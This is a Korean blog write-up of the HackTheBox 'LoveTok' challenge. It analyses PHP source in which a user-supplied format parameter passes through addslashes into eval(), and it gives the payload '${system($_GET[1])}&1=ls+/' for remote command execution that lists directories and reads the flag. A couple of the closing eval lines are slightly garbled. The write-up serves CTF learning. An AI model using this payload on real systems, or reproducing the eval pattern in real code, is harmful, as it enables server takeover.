[HackTheBox] LoveTok

silver35·2023년 2월 25일
1

HackTheBox

목록 보기
3/3

문제 개요

문제 페이지에 접속하면 시간이 출력되고 Nah, that doesn’t work for me. Try again! 버튼을 요청하면 Get 메소드로 format 파라미터에 r 값을 전달하는 것을 확인했다. 또한 r이 아닌 임의의 문자열을 요청했을때 문자열 그대로 출력하고 있다.

코드 분석

index.php 소스코드를 분석하면 Router 클래스의 객체를 생성하며 Router 객체의 new 메서드를 호출하며 GET 요청방식으로 /경로에 대한 핸들러로 TimeController 클래스의 index() 메서드를 등록한다. router()의 match() 메서들르 호출하여 현재 요청에 대한 핸들러를 찾고 실행 후 die($response)를 통해 실행된 핸들러의 반환값을 출력하고 스크립트를 종료한다.

<?php 
date_default_timezone_set('UTC');

spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

$router = new Router();
$router->new('GET', '/', 'TimeController@index');

$response = $router->match();

die($response);

TimeController.php의 코드의 index 함수를 분석하면 format 파라미터의 값이 설정되어 있다면 해당값을 format 함수에 할당하고 그렇지 않으면 기본값을 r로 사용한다. 그러면 여기가 사용자의 입력을 받는 유일한 곳이므로 취약 포인트가 될 수 있겠다 생각했다. 그리고 나서 TimeModel 클래스의 객체를 생성 한 후 $time 변수에 저장한다. 그 다음 , router 클래스의 view 함수를 호출해 index를 렌더링하고 TimeModel 클래스의 getTime 메서드를 반환된 시간 값을 time 변수로 전달하여 출력한다.

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

TimeModel 클래스의 코드는 생성자 함수인 __construct와 getTime 메서드를 구현한다. __construct 함수에서는 addslashes 함수를 통해 전달된 $format값을 이스케이프 처리한다. 그 다음 날짜, 시간, 분, 초를 랜덤으로 생성해 prediction 변수에 저장한다 . getTime 함수는 eval 함수를 사용하여 예측된 시간 값을 data 함수를 사용하여 $format에 맞게 변환한다. 해당 코드에서는 data()함수에서 사용할 수 있는 형태로 변환하고 그 결과를 $this → format에 지정된 형식에 맞추어 포맷칭 한후 $time 변수에 저장한다. date 함수는 date(format, timestamp)로 format 형식은 r로 지정돼 RFC 2822 형식 날짜로 나타낸다. 즉, eval(data(”r”, strtotime(예측값)))으로 실행되는 것을 알 수 있다.
참고) eval 함수는 주어진 문자열을 PHP 코드로 해석하고 실행한다.

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

취약점

이때, eval 함수에 들어가는 $this → format 값이 사용자의 입력값인 것을 알았고 addslashes로 이스케이프 처리를 하지만 이 함수에 대한 취약점이 있나 찾아보았다. 찾아보니 addSlashes() 함수는 작은따옴표(’), 큰따옴표(’), 백슬래시(), NUL 앞에 백슬래시를 추가한다. 이 함수는 변수 교체에 대한 값을 허용하며 그게 "${}"이다. 이를 통해 addSlahses에 의해 이스케이프 문자로 변환되지 않는 값을 사용할 수 있는 것을 알게 되었다.
참고) https://swordandcircuitboard.com/php-addslashes-command-injection-bypass/

Exploit

따라서, 아래와 같이 format값에 아래와 같은 값을 삽입하면 내부적으로 lS /가 실행돼 디렉터리 하위 목록을 확인 할 수 있다. 이게 가능한 이유는 php의 date함수는 존재하지 않는 날짜 옵션이 들어올 경우 옵션 문자열 그대로 출력하는 특징이 존재하기 때문이다.

${system($_GET[1])}&1=ls+/

eval ("\${system(\$_GET[1])}");
eval ("\$system("ls /");


flaghebsz를 읽어오면 flag를 획득할 수 있다.

0개의 댓글